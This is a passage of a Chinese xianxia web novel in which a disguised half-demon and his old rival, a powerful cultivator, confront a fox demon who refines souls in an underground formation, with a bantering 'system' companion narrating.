宋策始终低着头,直到一抹雪色衣袍落入眼帘,他眼睛轻眨,视线不移盯着那抹白色,微微往九婴身后靠了几步。九婴意会上前,他顶着如实质的威压,硬着头皮辩解,“尊者,如他所言,与友人相约踏青实属巧遇两位。”
系统觉得什么人和宿主呆在一起都会变得疯癫,这理由他都觉得牵强,这两人会信才怪。
“你觉得我们会信?”颜丹臣毫不留情面地直接问九婴的意图,根据他们搜集到的消息,这位盘踞在这里的国师可就是一只狐妖,“你们和这里的主人有什么关系?”
他话音刚落下,九婴就忍不住在暗地里翻了个白眼,真是透进骨子的傲慢,好歹他也是妖界一方之主,被他这般不客气地质问心中也难免冒火。
“一方小妖罢了,有关系如何?”
九婴反问颜丹臣,“没有关系又如何?”
“照尊者的口气好似这妖孽作恶是我指使的?”
九婴不卑不亢,他好歹也是妖界九王之一,不信这人敢直接扣帽子,未免太猖狂了些。
颜丹臣不为所动,视线越过九婴盯着宋策,“莫远行?”
他嘲讽一笑,逼近宋策,“你和鬼城城主什么关系?”
“……”
“……”
“宿主!”系统紧张地不行,语无伦次在宋策脑子里炮轰,“这、这可怎么办!”
系统懊恼不已,他刚才在宿主瞎编名字时就说不要乱用莫远行的名号,给喻归泽听到耳朵里,顺藤摸瓜查下去,宿主这么多年干的事情或多或少都会透露出行踪轨迹。
现在的喻归泽没认出宿主,保不准往后不会认出,届时老巢都一锅给喻归泽端了!
“你狂,等喻归泽把你吊在房梁上抽就老实了!”
宋策下意识反驳系统的鬼话,“我没抽过他。”
“我是这个意思吗?”
“请闭嘴。”
系统怀疑宿主就是做贼心虚,他又没内涵宿主,宿主这么着急反驳他干什么,分明是知道自己干的事情缺德给自己找理由。
按照宿主的修为他根本不是喻归泽的对手,现在不行,三百年前也不行。
别说用灵力,即使是赤手空拳打,后期宋策也不是喻归泽对手,宋策不耍些手段压制天命之子,都不知道死多少回了。
早年闹的很的时候以宋策扒光喻归泽的衣服将他吊在房梁上肢体折辱言语嘲讽为结尾。
天命之子也不是好惹的性子,是个傲气疯脾气的人,从不肯服软,狠起来两人互捅刀子,恨不得互相吃血刮肉。
系统夹在中间劝也不是,不劝也不是,不劝怕宿主给任务目标折磨死了黄了任务,他们都得玩完,劝了宿主直接关他禁闭,短则三日,长则半年,苦不堪言,他觉得上头给他分错了任务。
面对颜丹臣的逼问,宋策仍旧维持那恭敬惶恐的模样低头回复,“小人不知什么鬼城城主。”
话音刚落。
“嘭——铮——”一阵阵怪声突然从地底传来,地面尽数龟裂开来,空气中瞬间弥漫着腥臭腐败的气息,宋策拧着眉看了眼九婴,抬眼的一瞬间他却与一双浅瞳对上,那双眼凌然对着自己,下一刻视线恍惚,一切混沌起来。
法阵被人启动了,像是一种机器在启动运转,宋策刚站稳脚,转瞬间那股腐败腥臭味就环绕在周身,眼前的场景又换了一副模样,四下黑暗无比,伸手不见五指,一股莫名的窒息感绕着脖颈,宋策使出一抹灵气点燃一方空间,看清眼前站着一个人。
“!”系统被吓得一激灵,“喻归泽!”
宋策没有因系统的话惊慌失措,他将手中火焰燃的更大了一些,伸着灵火往前举了几分,他看清了眼前人的模样,宋策冷静往前走。
“尊者?
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”
“你叫莫远行?”喻归泽的声音在黑暗中显得寒气深深,雪色法袍在黑暗中亮如月光。
宋策恭敬地笑着回礼,端的是一副温润如玉、谦和有礼的模样,“在下名号由我师父所取。”
“你师从何处?”
“一介散修,师门无名。”黑暗的氛围里,寂静无声,宋策装作无意查看四周。
喻归泽的气息就在身侧,宋策多看了几眼。
他肩宽窄腰身着一席白衣长袍,宋策暗笑,感叹风水轮流转,往年他们都是以劲装出走,若是遇见难缠对手,便要使出浑身解数从敌人手下逃命,如今的喻归泽可不再需要那般狼狈了。
长袍加身,剑不出鞘,诛杀邪魔不在话下,想到这宋策都有些羡慕了。
天赋、气运、机缘这些东西,是他的便该是他的,真是谁也抢不走。
阵法启动,他们在阵内走走停停,地底怨灵无端游走呼啸,可如今又和刚才光景不同,站在喻归泽身边那些鬼魂都绕道走,宋策也乐得自在,完全不用他出手。
真是背靠大树好乘凉。
内虚空间里,风岚呼啸,鬼火闪烁,时而空寂无声落针可闻,时而鼓噪刺耳,鬼哭狼嚎。
宋策一言不发跟在喻归泽背后,他还在想如何摆脱喻归泽。
直接联系九婴太容易引起怀疑,目前只能先出阵再说。
有一点宋策百思不得其解,喻归泽怎么会突然出现在这里,如今看来不像是自己的行踪暴露了,那只能是这悟知命的问题,事情远没有他想的那么简单。
“你有话要说?”无声秘境中清冽冷淡的嗓音冒然响起,宋策思绪被打断,走动的脚步稍顿。
宋策沉默几息微低着头表情潜藏在暗处,语气里含着敬畏遵从,“我与九婴大人走散,想与他快些汇合。”
宋策低着头不看他的神情也能猜出他正盯着自己。
宋策愈发恭敬自持,露出显而易见的惊惧和敬畏,那沉默的时刻里,宋策都想到了喻归泽认出自己后立即发怒,拔出本命法器直接把他捅穿,挖出他的妖丹一掌拍碎,吊着一口气把他的神识与野畜钉上死契,最后把他锁在御灵海牢狱里往后每天扎一剑,日日折磨虐杀。
宋策眨眨眼睫,隐藏的情绪里有些讽意,或许剥皮碎尸都是轻的,他可是说要把自己三魂六魄都抽出来炼火焚烧祭天。
“你在想什么?”
喻归泽走进几步,强大压迫感顺势而来,宋策表情微滞,往后退了几步。
他表情没这么明显吧。
“尊者威严神武,小妖惶恐不胜。”
还未等喻归泽说什么,下一刻翻涌火浪从地底直冲而上,窒息燥热席卷灵域,宋策防不胜防,但喻归泽明显比他先预料到,直接掀起一道屏障,将浪火遮蔽在结界之外,宋策侧眸看了眼喻归泽。
他眼瞳中闪过一丝兽类的精光,视线扫过他的动作的臂膀和肩背,下一刻便恢复成琥珀般润色平波无澜的样子。
他联想到自己被发现后的下场了,今时不同往日,真要被发现了身份,眼前这人能让他求生不得求死不能。
“大人,大人,您教教奴家嘛~”
“什么鬼东西?”一声不吭的系统瞬间被这一声魅叫给激醒了。
“滚远点!”
系统听到了自家宿主的声音,视线在喻归泽的高阶术法制成的屏障下未全部受阻,他看清了一线之外的场景。
又是怨灵记忆罗织的场景。
“这场景怎么这么眼熟啊。”
交错辉映的光线里,人影模糊不清。
系统勉强从说话人影的身形和音色里认出这是自家宿主和以前的九婴。
“九尾狐族有自己的修炼秘法,不需要我教你。”
画面中的九婴死皮赖脸地贴近宋策,却被无情地推开。
“大人,这是族里没有的!”
“哪个?”说话的人影语气明显透着烦躁。
九婴不依不饶地缠着宋策,画面九转直下,出现的场景变换无穷,妖族溪海落英时节,鬼城雾蒙遮月的深冬……
不知道这是从哪个倒霉的小妖记忆里搜刮出来的。
这些纷乱无章的画面里仍旧夹杂着许多不同视角不同怨灵的记忆,九婴和宋策的画面好似只是小小的插曲,但就是这么一点就让本燥热窒息的氛围愈发静止。
43. 第四十二章
“罔顾人命的孽畜!”
未等宋策反应,屏障之外的幻影随着一声疾风猛地被一股外力击碎如烟尘般骤然消散。
颜丹臣不知什么时候出现的,他从朦胧晦暗中走出,长枪利落地搅碎挡在面前的几缕幽魂,金丝玄衣随着他的步履荡起杀伐之气。
“这妖孽兽性难改,不知用了什么手段,在这方寸小地圈了这么大的碎尸洞”,颜丹尘目露嫌恶,“无心的孽畜。”
颜丹臣看着喻归泽想了想说:“这云州城下有这么大的妖窟却从未见有人传讯出消息。”
他转眼看了眼宋策接着说:“皇帝也被这妖狐迷的神智不清,我看城中上下里外勾结沆瀣一气搅得这大乱。”
“不如直接破阵。”
早在赴宴时宋策和九婴就察觉到皇帝身上的妖气,整个皇宫上方都透露着死气。
若是没有天道因果轮回,凡人的性命恐怕没几个人在乎。即使今日没有人阻止悟知命,这人祖龙脉也支撑不了多久了。
三人各站一处,喻归泽开口阻止想直接破阵的颜丹臣,“这法阵不同寻常,没那么简单。”
眼前这场景他想起很多年前他们常因为理念不合争吵不休,大打出手,他觉得喻归泽是自寻苦吃的蠢货,喻归泽骂他是没心没肝的畜牲。
大多修士并不在乎凡人如何,多数修士认为凡人寿命自有定数,生死不过强者的一念之间,若是没有天道因果轮回,凡人的性命恐怕没几个人在乎。但那时的喻归泽却很不同,两人逃命途中他总要顺带解决霍乱人间的邪修、修补崩塌的法阵,宋策却认为这些耽误行程自寻烦恼。
很多时候谁也不让谁,冷嘲热讽夹枪带棒上升至肢体冲突。
纷繁的记忆总是在无意间占据脑海,复杂的情绪在回忆里纠缠不休,宋策习惯性地揉揉有些胀痛的太阳穴将乱七八糟的东西扫清。
半晌他察觉到一道莫名的视线随即谨慎地放下手,抬头对上一双浅淡的眼瞳,喻归泽正看着自己。
“宿主,答应我,干完这票就金盆洗手吧……”
系统冷不丁地冒出一个冷笑话,宋策冷笑回他,“不行。”
喻归泽始终看着他,视线不移开一瞬,“你认为呢?”
“……”
一直在查看四周地形布局的颜丹臣闻声将视线赏给这里的第三个人。
他有些好奇了,眼前这个人乍一看没什么特殊,一般修为,半妖之身毫无亮眼之处,唯一可堪入眼的也不过是遮掩下的那一张脸。
向来倨傲冷淡的喻归泽竟然会问一只半妖的意见,最是目下无尘的人眼中竟也留得住人,原本无意逗留下仙界的他也看到这等稀奇事,不枉他被人叫到这儿来处理这破当子烂事。
“宿主,你想着点说,别被怀疑了。”
系统希望这个时候自家宿主能降低自己的存在感最好。
宋策低着头,沉默几息无人打破这般死寂,他只能故作思考才回复,“小道早些年钻研过命理之术,听闻过抽魂献祭便得一线机缘的说法。”
颜丹臣神色不明。
“他的魂魄不在炉中。”
喻归泽看着低眉的宋策,似乎早有打算。
宋策眉心一抽,他想到的旁人自然也能想到。
法阵之内肯定不止一处炼魂炉,悟知命不可能将自己生魂随意放入炉中,若是魂魄有损,岂不是功亏于溃。
就在三人思考的功夫,那些幻象接踵而至,画面如水中花消散又重聚,波澜起伏中显示出模糊的场景。
声音断断续续嘈杂难分,运气好时能从万千或絮语或尖厉声中分辨出一些内容,运气劣时确是连画面与声音都对不上的。
转瞬即逝的画面被破开,从分开的一刹那黑色雾状人形东西猛地往三人这边飞扑过来。
颜丹臣抬臂挥挡,灵气四溢“嘭”地撞开密集过来的怨鬼。
“这么多,这妖是绞杀了多少?”颜丹臣嫌恶地扫开这些遮挡视线的黑雾。
喻归泽凌空抬手握住,一只长刀出现在手中,他虚空一划,虚无灰暗的空间被白光破开一道口,接着眼前场景如同是无限扩大的裂痕的布帛被撕开了一处空间。
烈火焚烧的地狱,无数血红怨煞嘶吼着往上攀援,红莲地狱般的血色场景,腥气直冲天际,往上看是灰蓝色无物的空洞,望不尽所有,只一眼便被迷惑,宋策眨了眨眼睫只能将视线挪回地下。
好眼熟的场景,对宋策来说犹如故地重游。
不断有怨灵攻击三人,这些魂灵有些修炼出完整身形,不再是残破的灵魂之体,修为可达元婴期,但却毫无神志可言仿佛是受一种力量牵制只知道攻击入侵者。
宋策躲在两人之后完全不需要出手,怨灵赤红色的眼瞳死死盯住他气势犹如猛兽撕咬猎物时的凶狠,宋策吃下一颗铸魂丹维持清明,一只怪物施加的噬魂术他能抵御,但数以万万计的鬼物同时拉他入幻像他不敢保证神志清明。
就在宋策想着如何趁乱逃出去时,他眼前闪过一道白光,一股清凉之意萦绕鼻尖透入肺腑,他惊诧抬头。
喻归泽站在他身侧,唇齿未动但他听见了他清冷的声音。
“注意凝神。”
宋策了然泛起一抹笑容,低声感谢,“多谢尊者。”
“这妖胆子可真大”,颜丹臣扫灭周围的鬼怪,飞升跃起跳至崖壁一侧,他施展术法眼瞳中闪过金光扫视深洞中,眉宇间透露出几分躁意,“难怪。”
“救命啊!”
“谁来救救我!”
一声声呼救从地下传来,宋策往下看了一眼掩住眉目,暗道糟心,这丫头怎么还没逃出去。
火光冲天,热浪翻滚,将人脸颊映衬的通红,周百岁双臂死死攀住崖壁上石峭,仰着头往上呼喊,在巨大的火炉衬托下她身子显得轻飘飘的如纸般轻薄。
她被无数鬼怪缠着身无法施展术法,才听到上面有动静连忙呼喊出声。
她往上看的一瞬间突然觉得腰间一松,见一抹红色从眼前飞出划开刺鼻的烟尘,视线一刹的清明,是前辈的红绫!
周百岁艰难地望上看,满眼恼火,她忍不住大喊,“刚才怎么没见你这么精神!”
颜丹臣见脚底下有人,施法解救了摇摇欲坠的周百岁。
飞起的长绫游走在空中搅动着,鬼物被红绫施展出的利气搅碎,红尘四散,空中挥舞着红色光晕灵华大盛。
喻归泽视线一瞬不错地盯着那抹红色,良久才伸出手,“过来。”
宋策看那翻滚不停的红色绸缎滞空了几刻,十分没出息地往身边飞去。
他腮肌轻动轻咬后牙,但面上却刻意露出几分讶异神情好似第一次见这器物。
死东西,最好装作不认识我。
宋策满含笑意的目光落在喻归泽手腕上的红绫,温和又恰当地露出几分新奇眼色。
颜丹臣走进几步,有些不确定地问,“这是?”
“你的?”颜丹臣看向惊魂未定的周百岁。
周百岁咽着口水拍着胸口,显然还未从惊吓中回过神来只知道摇头,她的视线往喻归泽身后看去半晌想说什么。
“几位玩够了吗?”
是悟知命,他的声音从四面八方传来,上空回荡着他轻柔含笑的嗓音。
颜丹臣拧着眉,看着悟知命现形的地方。
悟知命穿着血色红袍从高处踏着红浪缓缓走下,他眉宇间透着死气,平淡的面容添了几分深渊中的妖柔冰冷。
宋策察觉到悟知命的修为似乎比之刚才要高了许多,最初他还能探出对方境界与他相持,如今不过几时过去,他已经看不出对方层次。
“你弄这么大阵仗就是为了把自己弄成这幅模样?”颜丹臣眼中闪过几分讥诮,面上嘲讽,对这种邪术厌恶异常。
喻归泽目光冰冷沉默地看过来人,威压从四人之外散开,宋策察觉到身边人的恐怖如深渊的境界,心中微紧张,自己如今的修为别说接住他一击,单是对方稍作施压,宋策的内丹恐怕就在他神境中破裂。
悟知命竟然在此等威势下依然牵着温婉和顺的笑意看着这边,似乎毫不受限。
“他怎么回事?”周百岁最先提出疑问,“他刚才不是这样的!”
前辈说过这法阵很有问题,她猜测是寻常炼魂的法阵,刚才还有些担心自己的安危,他看出身边的两位大能境界不凡,如今但是还是有些担心,她从见过有人能在几刻钟之内就能提升如此多修为,这简直有违天道。
她抿着唇心中泛起寒意,眼前这只妖周身蔓延着磅礴的煞气,双方压迫感犹如烤炉对烧,妖的实力似乎还在上涨,冲击的波浪震地她呼吸困难。
这里压制外来者的修为,但这狐妖似乎完全不受其影响。
他毫无忌惮
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地走进几步,嘴上笑意浅浅,看上去恭敬万分,举手投足之间似乎还彰显着他国师的风采,文人风度坚韧又高洁,在红光血色里显得异常古怪。
悟知命看着喻归泽的眼里闪过红光,杀机四伏却依然浅笑,“这般场景尊者眼熟吗?”
“你怎么会这些邪术?”颜丹臣厉声呵斥,在他看来悟知命嚣张气焰完全枉顾生灵逆天而为。
“我百年潜心修道,如今大有成就却被你唤作邪术?”
悟知命低声笑了起来,声音穿透四方逐渐尖利起来,洞中群鬼也躁动起来,嘶吼着拥挤着往上互相拉扯攀爬。
“原本我想着随意引出上仙界几位仙君来献祭就好”,他话锋一转看着颜丹臣,“没成想两位尊者这般雅兴竟然自请入瓮。”
“上仙……上仙啊……”枯哑干涩的老年音从地底爬出,老者佝偻着身体艰难地从黑暗中显现,他四肢并用朝着悟知命爬去,呈现的魂体状态,但枯瘦如柴的手心中攥着一枚碎裂的玉佩,血肉撕裂的腿骨在地上留下鲜红血迹。
“上仙救我、救我啊,上仙!”
悟知命看着地上的鬼怪,面上讪笑一闪而过,讥讽之意划过唇角,他抬手,一股无名之力扼住地上老人的咽喉,眼神中潋滟出血色痕迹。
“我当是谁呢,原是陛下啊。”
老人披散着花白干枯的头发,唇齿呕血却还是死死瞪着布满血丝的眼球充满祈求与渴望看着悟知命,他哭求着,“上仙救我啊……上仙……”
他扣动着扼住咽喉的那股力量,双眼泛白,但嘴里还是祈求眼前人救他一命。
悟知命看了老人一眼,随即将视线移向宋策几人,他眼睛涌现出狐狸的兽光,随后他歪着头眨眨眼睫笑的理所当然,“你们看,世间就是这样,凡人祈求长生,修道者祈求大道长存。”
“百年前他求我授予他长生之法,我给了他几百年的寿命他却依然不满足还舔着脸向我讨要。”
老者听见长生二字神情激动起来,口中鲜血直流,但他手中死死攥着那枚玉佩伸着手往前撑,“长生……长生……”
悟知命指尖稍动,只听老者骨头轻折破碎之声,那些地下冤魂像是受到什么指示一蜂拥向碎裂的魂魄,不过几息之间残破不堪的魂魄就被撕咬地灰飞烟灭。
一阵热浪涌过,清脆叮咚声响起,老者魂魄破碎后玉佩也碎成几瓣落地,喻归泽牵引起那碎裂的玉佩。
附着在玉佩上的老者影像如同如雾气般刹时消散。
“赤狐族,如今妖界赤狐一脉早已绝迹,但即使如今灵气稀薄至此也不至于孱弱到需要修炼邪术来弥补残缺吧?”
悟知命面上有几分僵硬,他对着颜丹臣,语气中含着不屑嘲弄,“你懂什么?”
“赤狐一脉早在几百年前就被魔族绞杀殆尽,听闻狐皮制衣与鲛纱齐名,血肉入药可医白骨,最绝之处为赤狐妖丹是炼制渡劫秘法的上等器物。”颜丹臣盯着悟知命眉心朱砂,了然一笑故作可惜道,“可惜了,你这只狐狸怎么没有妖丹呢?”
“魂魄破碎杂乱,不似世间妖灵啊。”
悟知命听此,视线被彻底染红,杀意如实质四散,洞穴中鬼怪彻底躁动起来,地下炉灶如同滚水沸腾。
“闭嘴!”
涌动的岩浆中翻滚着,似乎有一只巨兽正挣脱束缚从岩浆底下撕扯着,那些飘忽在上方的魂怪顷刻间被红岩吞噬,热气喷薄而出一只巨大的血色狐怪从下方爬起,岩浆随着怪物动作喷洒在峭壁之上,腥味扑面而来。
周百岁喉间紧缩忍不住犯恶心,她哆嗦着手按着腕间手镯,虽脚软但还是往喻归泽身边靠了几步,冷不丁和宋策对视一眼,两人心照不宣地没有说话。
“宿主,这人有病吧,人好好说话,他犯抽嘴怎么就这么贱呢!”
喻归泽在两人身边设下结界抵御气浪,他手握长刀气势凛然,刀气翁然作响,早已渲染战意。
周百岁注意到眼前人手中长刀,几次抬头确定,不可置信地看着眼前这个境界不可勘测的前辈,惊叹地朝宋策看去,想从对方眼中得到相似的答案,但是宋策根本没有看她。
御灵海九州境的问道期尊者!
周百岁翘起手指捅了捅身边的宋策自顾自给了他一个莫名安慰的眼色。
根本不用担心,他身边这人是仙道第一大能,修道界举世无双的道尊,根本不用怕!
44. 第四十三章
“宿主,趁现在我们快跑吧。”
自从系统苏醒以来,就没见宿主遇到什么好事,这等危机关头还要靠仇人救命,太倒霉了。
“你看我走的掉吗?”
喻归泽明面上的保护,对周百岁来说是保护,但是对现在的宋策来说,这个与头悬尖刀区别不大。
系统看了看宋策所处环境忍不住嘀咕,若是宿主当年听自己的话好好做任务,现在说不定还能“挟恩图报”一下,百年之后故人久别重逢两人结拜也算是喜事一桩,可惜搞成现在这个样子。
在系统看来这一切罪恶荒唐的源头都得怪那只黑风鬼。
“都怪那只死鬼,要不是他逼你和喻归泽冲喜,宿主怎么会做那种事情!”
系统愤愤不平,生命时刻受到威胁的感觉让他想到谁就怪谁,即使对宋策先前与任务失败底线擦边般的所作所为有所不满但也不敢明目张胆谴责宋策。
要知道宿主在他这里可从来都没有关心过任务进度,他到现在都不知道当年的支线任务是怎么完成的,关于系统调出来的档案也只是显示支线任务已完成。
宿主联合系统做任务时是可以记录影像方便以后备档案的,但是宋策真的会把他弄报废,他也只在刚开始时偷偷记录过,被发现后被宿主屏蔽了半年。
关于宿主对天命之子的记录也被锁住了,他毫无权限查看,他只能像个无头苍蝇一样盲目催促宿主做任务,其实任务进度他都不知道到哪了。
主世界其他同等级的系统做任务时也从来没听过做的像他这么窝囊的。
系统絮絮叨叨说了许多废话。
“什么冲喜?”宋策对系统的口无遮拦毫无办法,几百年了丝毫没有人情味,人机就是人机,说出的话一如既往蠢得让人头疼。
“你忘啦,洞房的时候你不是还把他灵丹挖了?”系统有些不确定毕竟当时他直接被宿主屏蔽了醒来之后就看见小仙君满身是血,凶神恶煞的样子。
“这件事不是导火索吗?”系统想到什么说什么,难道宿主忘了这件事?
“我知道”,宋策无奈扶额,好久远的事情了,不然他一直躲着人干什么,他很冷静平和地回复系统,“你要是实在不想干了,和我解绑,不送。”
宋策知道系统还要喋喋不休说个没完,三百年前就开始大喊大叫,三百年后拐弯抹角吐槽。
“我不是那个意思。”系统小声抗议宿主突如其来的冷漠,再说本来就是宿主自己做的好事,怎么就不给说了。
“嗯哼?”
宋策不耐烦地皱眉,系统禁声闭嘴了。
“啵!”
灵力的聚拢保护罩如有呼吸一般轻轻起伏着,流光溢彩的灵力流动着,宋策伸手探了探,温暖的保护罩随着他的指尖往下凹陷,随后屏障上鼓起来的球状灵态和宋策的手相触,像果冻一样的触感软软的。
宋策心中无端掀起一点涟漪,这是高阶空间术法——神域。
和普通高阶保护灵罩不同,神域往往与施术者神魂挂钩,境界越强者神域抵御力越强,除非修士自己打开神域或直接毁掉施法者神魂,否则将无法打开神魂领域,当然这种术法也不是一般修士能使出的,有些人可能一生都没办法打开神魂领域。
宋策冷笑,比如说自己就从来没有打开过。
看着探头探脑颤颤巍巍似乎还想往自己手上涌的灵力泡泡,他冷模地抬手给它弹了回去。
但是这种程度的术法用在这里会不会太大材小用了,宋策看了眼远处的白色身影,这是炫技?
周百岁看到后好奇地凑近想摸摸不死心又鼓起来的水泡,还未等她碰到,那个水球就自然陷下去了。
“好神奇!”
她还想伸手探探平坦无波的保护罩,但宋策拦住他的动作,低沉着着语气严肃地看着她说,“这灵力浸染着施术者的意志,他不让你摸最好不要碰,小心赶你出去。”
虽然知道仙尊高山仰止,受人敬仰膜拜,但是周百岁或多或少还是听到过一些传言的,周百岁看着外面剑拔弩张的气势想想刚才在悬崖之下被火浪炙烤的痛苦,只能悻悻放手挠挠头,她可不想别丢出去。
“宿主,这……”
“你信了?”
“我差点就信了……”
系统就觉得宿主在那瞎扯。
刚绑定那会就喜欢糊弄自己,还总是戏耍小仙君,等把人惹恼了又说些好听话装装样子哄人,如此往复乐此不疲,如今还是那个喜欢玩弄人的恶徒。
宋策将注意力转移至神境之外,眼前这般血腥狰狞的情形让他有些似曾相识,看来有人想重现极渊炼狱。
血肉铸就的狐怪已经彻底从岩浆底下挣脱出,血水倾泻模糊了口鼻,怪物张开嘴顺着血水舔.舐一圈,周围红色液体随着它的动作溅落在地上,黏糊腥臭味道翻滚浓郁起来。
“前辈,你看这妖的境界短时间内竟然提升了这么多!”
周百岁看出来了悟知命现在的修为完全不像初见时那般孱弱无力,如今的狐妖气场非凡,红袍飞舞张扬肆意。
明眼都能看出这种从地下爬出来的血狐不正常,那只血狐体积还在增大,它吸收炉中所有的魂灵的力量,悟知命的灵力也在这个过程中持续增长。
“这是他用至亲的魂魄炼制的血魂狐”,宋策双手抱胸,好整以暇地找了块石头坐下,看了眼那只看上去不断长大的狐狸,语气里有些可惜地说,“其实就是一只怪物,完全没有神志可言。”
周百岁好奇凑近宋策,她感觉宋策似乎知道些什么,于是眨着一双大眼看着宋策:“前辈,你知道些什么吗?”
“我怎么会知道呢?”
宋策认同悟知命说的一句话——凡人祈求长生,修道者祈求大道长存。
他想了想,眉宇间被他的笑容染上几分温润,“我又没拿数以万计的魂魄炼法。”
宋策对着周百岁,言语中似乎有些怅然。
“以地脉启动法阵藏匿地底之下的炼魂炉,炼制魂魄的秘法是早已失传的上古秘术”,宋策回想起埋葬在极渊地底之下的冤魂,那些从尸山血海中挣扎着挣脱囚魂秘术的冤魂,“光靠他一人杀害的那些人根本不够他炼炉,这个法阵最重要的是吸收死去的亡灵。”
“死去的亡灵?”
周百岁有些惊讶,死后魂魄应该直接落入九泉魂归冥界重新步入轮回。
“就是你想的那样,他违背天道轮回,将原本能入轮回的魂魄捆在这里供他自用。”
“当然,不入轮回的也能被吸收,是个邪门的法阵。”
周百岁脸色发白,比起被囚禁在这里终日受烈火焚烧,她突然觉得灰飞魄散算轻的了。
“以至亲血魂为阶,生魂作引,无数魂魄作材,最后需要这只狐怪吞吃下一位至少洞虚境界修士的三魂七魄方可成魂丹。”
周百岁想到什么,深感诡异,“这魂丹能助他成仙吗?”
“谁知道呢,但是至少功力大增脱胎换骨。”
周百岁看了眼外头的红影,忧思抑郁意味不明道:“他现在也算脱胎换骨了,都能与问道期的仙尊一敌了。”
宋策不置可否,按理来说喻归泽是闻道期境界,对付这只半吊子狐狸不在话下,但是这法阵很有问题,法阵压制修士的修为,和在极渊时一样有些棘手。
两人的修为远在外面三人之下,只能看见烟尘从火浪中喷薄而出,视线一片红光,灵力碰撞对射的光亮刺眼夺目,令人好奇窥视烟尘四起之下是何种战况。
“够了,知命”,九婴蓦然从空间缝隙中走入战场,他挥袖扫开遮蔽视线的尘嚣,一双橙金色的眼瞳看向那只血狐,沉声喊住欲动手的悟知命,“你到底想做什么?”
颜丹臣看出一丝端倪,没有顾及突然出现的姬九婴直接使出灵力攻击狐怪,但那只狐狸受到悟知命的指示,就在攻击触及身体的一刹那,它的体态如流沙般消散又聚拢成一只小狐狸灵巧地躲过了攻击。
颜丹臣接连使出几招压制狐怪的身影,但都被它挣脱,它像一股风,灵动地跳跃在不同的岩石峭壁上。
颜丹臣的攻击激怒了悟知命,他驱使着血狐向颜丹臣发出剧烈攻击,无数似魂似怪的灰影朝他飞扑过来,血色符印从天而降。
喻归泽长刀抵住地下,默念口诀,刹那灵光乍现,金色符光顷刻结成浮起压制住那道邪印,他飞起结印灵力大涨数道金色丝线朝血狐涌去牵制住那只狐怪。
受到压迫的狐狸挣扎着嘶吼着,企图继续长大身体挣脱捆缚。
悟知命见此嘴角牵起一抹笑容,下一瞬他体内灵力暴涨,那只狐狸受到主人的感知一瞬间挣脱束缚,而他的攻击也越发密集。
“我想要你们死!”
“笑话!”
颜丹臣嗤笑一声抬起长枪挡开撕咬的冤魂,挥袖使出一击长枪直刺血狐,捅入雪狐的瞬间红影散开,红狐毫无所伤。
“悟知命,你难道要让你的族亲再死一次吗!”
九婴站在喻归泽和颜丹臣一边,看到眼前混乱强迫的对峙局面,厉声呵止近乎疯魔的悟知命。
“你要用族亲魂魄造出来的怪物帮你复仇?”
悟知命眉间朱砂痣闪过
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一丝血光,他眼间血丝布满眼白,眼瞳染浸血红色。
“是又怎么样?”他的眼里染着血红色,杀气难掩,嘴角还挂着笑,吐露出的话语嗜血又疯狂,“对,就是你想的那样,我要再次吃了他们!”
“你真是疯了!”九婴皱着眉毛,手中折扇灵力磅礴,气势如虹。
“疯?我早该疯了!”
他的眼中盛满凶光恨意,咬牙艰难道,“少主,你也要阻止我吗?”
“你如今到底是在报复他人还是和自己过不去?”
“少主言重了。”悟知命双手结印,血狐周身红光辗转四散又聚拢,仔细看像是无数血魂聚拢粘合在一起的庞然大物。
光影周转,血光顺着地下岩浆上涌,无数阴魂聚拢在血狐身边,尘沙漫天,他料想喻归泽等人不会直接毁掉法阵,除非他想让一城湮灭。
即使这样,也正中悟知命下怀,抽光地底的灵脉精气,这城也没什么气候了。
“找死!”颜丹臣幻化灵相,巨大的气浪从背后而起,一阵幻影向血狐攻击,两方身影缠斗在一起。
在这样下去,终将铸成大祸,九婴眼见情势不对,出手处处落在实处。
喻归泽单手结印,长刀势如破竹攻向悟知命,四周场景瞬时转移挪动起来。
血光被遮掩,一瞬白光笼罩,颜丹臣心口大震,他神识轻探,四周空茫无际,虚境无边无法感知边界,他惊讶地看向喻归泽的方向。
不是重新结成的虚无空间法阵,他看到喻归泽悬空的身影但神识却感受不到他的存在,鲜少体会到的那种恐怖窒息感涌上颜丹臣心头,他眉间轻挑瞥了眼上空的白影。
他到底是什么境界?
悟知命面色几经变化,雪狐也有些迷茫焦躁地在原地嘶吼踢踏,怒火中烧地直接朝喻归泽冲来。
没有了外界的怨灵加持,悟知命的修为难以再有波动,喻归泽单手持刀,一手起势结印,一瞬间风云变幻天雷滚滚。
清寒凌厉的声音从四面八方传来,威压滔天如实质从天而降。
“说出背后指使之人是谁,留你一魂。”
在喻归泽的神域中,他看不清高阶修士的斗法战争,但能感受到九婴的存在,那贸然多出来灵气冲击也能看出来外面这么回事。
宋策眉心轻挑,想阻止九婴引火上身,但是在神域中没办法传音给九婴,只能坐等,情况紧急,宋策没想到九婴这么等不急他到底还是想保这狐妖一命。
这简直是痴心妄想。
一只连妖丹都没有的狐妖,修炼都是问题,靠一妖之力炼制炼魂丹炉,云州城地处地脉中心,四周照拂的仙门不说名门大派或修仙世家,但至少除邪卫道的寻常门派是有的,但还是让这只妖成了势,这背后定能牵扯出不少脏事。
九州境喻归泽行事乖张作风狠辣多数人猜不透他的意图,但是颜丹臣是上仙界三大顶级宗门之一天衍宗中人,天衍宗在上仙界向来中立,不与任何一派过多交好但如今却与喻归泽联手,消息再隐蔽都会走漏风声。
他们不单单是为一只妖而来。
周白岁看着宋策在面前低眉沉思久久不言语的样子,不禁问道:“前辈,这么了?”
“你爹让你和谁成婚?”
“!”
宋策突如其来的一句话打断了周百岁的思路,她瞪着大眼惊讶地说不出话来,直咳嗽。
“咳咳咳咳咳……”
“呕!咳咳咳咳……”周百岁伸着手指着一脸平淡地吐出让她惊恐的话的宋策,脚步连连往后退。
她从上仙界逃婚逃到下仙界来都有人认识自己那胡搅蛮缠不讲道理的爹!
“你、你、你怎么知道的!”
“我怎么知道?”宋策施施然站起身往周百岁面前靠近,“我还知道你手里灵镯是九品灵器呢,你爹花了不少心思给你弄来的吧”
“你想干什么?”,周百岁紧张地按住手中镯子急往后退,但转念想起若是杀人劫财的话宋策能干早就干了,不可能拖到这时候。
她脑中灵感一闪,恍然大悟气恼地跳脚。
罔顾她还以为自己交了个朋友,没想到还是自己老爹派来抓自己回去的,“你是我爹派来抓我回去的?我告诉你啊,我是不可能回去的!”
“这婚要结他自己结去!”
宋策眼尾一跳,恍惚地扶额,这丫头思维跳脱的让人跟不上,连珠炮似的。
“别误会,我对别人家事毫无兴趣。”
